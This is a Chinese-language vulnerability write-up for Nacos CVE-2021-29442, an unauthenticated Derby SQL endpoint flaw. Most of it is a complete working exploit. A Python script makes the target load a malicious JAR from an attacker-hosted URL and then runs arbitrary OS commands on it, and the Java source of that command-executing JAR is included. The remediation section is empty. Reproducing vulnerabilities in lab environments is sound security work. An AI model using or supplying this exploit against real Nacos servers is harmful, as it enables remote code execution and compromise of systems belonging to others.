Skip to content

Nacos 未授权接口命令执行漏洞 CVE-2021-29442

漏洞描述

Nacos 是一个设计用于动态服务发现、配置和服务管理的易于使用的平台。

在 Nacos 1.4.1 之前的版本中,一些 API 端点(如 /nacos/v1/cs/ops/derby)可以默认没有鉴权,可以被未经身份验证的用户公开访问。攻击者可以利用该漏洞执行任意 Derby SQL 语句和 Java 代码。

参考链接:

漏洞影响

Nacos未鉴权(Nacos<1.4.1)且使用Derby数据库作为内置数据源

环境搭建

Vulhub 执行如下命令启动一个 Alibaba Nacos 1.4.0 服务器:

docker compose up -d

服务器启动后,访问 http://your-ip:8848/nacos/ 可以看到 Nacos 的默认登录页面。

漏洞复现

将恶意 JAR 包 evil.jar 上传到攻击者的 HTTP 服务器上,例如 http://some-webserver/evil.jar

执行 POC

python poc.py -t http://your-ip:8848 -s http://some-webserver/evil.jar -c "id"

-t 参数指定目标地址,-s 参数指定恶意 JAR 包的地址,-c 参数指定要执行的命令。

漏洞 POC

poc.py

python
import random
import sys
import requests
from urllib.parse import urljoin
import argparse


def exploit(target, command, service):  
    removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    for i in range(0, sys.maxsize):
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
        post_sql = f"""CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'NACOS.{id}')
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
"""
        get_sql = f"select * from (select count(*) as b, S_EXAMPLE_{id}('{command}') as a from config_info) tmp"
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url, files=files)
        post_json = post_resp.json()
        if post_json.get('message', None) is None and post_json.get('data', None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url, params={'sql': get_sql})
            print(get_resp.text)
            break


def main():
    parser = argparse.ArgumentParser(description='Exploit script for Nacos CVE-2021-29442')
    parser.add_argument('-t', '--target', required=True, help='Target URL')
    parser.add_argument('-c', '--command', required=True, help='Command to execute')
    parser.add_argument('-s', '--service', required=True, help='Service URL')
    
    args = parser.parse_args()
    
    exploit(args.target, args.command, args.service)

if __name__ == '__main__':
    main()

evil.jar

package test.poc;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.io.StringWriter;

public class Example {
  public static void main(String[] args) {
    String ret = exec("ipconfig");
    System.out.println(ret);
  }
  
  public static String exec(String cmd) {
    StringBuffer bf = new StringBuffer();
    try {
      String charset = "utf-8";
      String osName = System.getProperty("os.name");
      if (osName != null && osName.startsWith("Windows"))
        charset = "gbk"; 
      Process p = Runtime.getRuntime().exec(cmd);
      InputStream fis = p.getInputStream();
      InputStreamReader isr = new InputStreamReader(fis, charset);
      BufferedReader br = new BufferedReader(isr);
      String line = null;
      while ((line = br.readLine()) != null)
        bf.append(line); 
    } catch (Exception e) {
      StringWriter writer = new StringWriter();
      PrintWriter printer = new PrintWriter(writer);
      e.printStackTrace(printer);
      try {
        writer.close();
        printer.close();
      } catch (IOException iOException) {}
      return "ERROR:" + writer.toString();
    } 
    return bf.toString();
  }
}

漏洞修复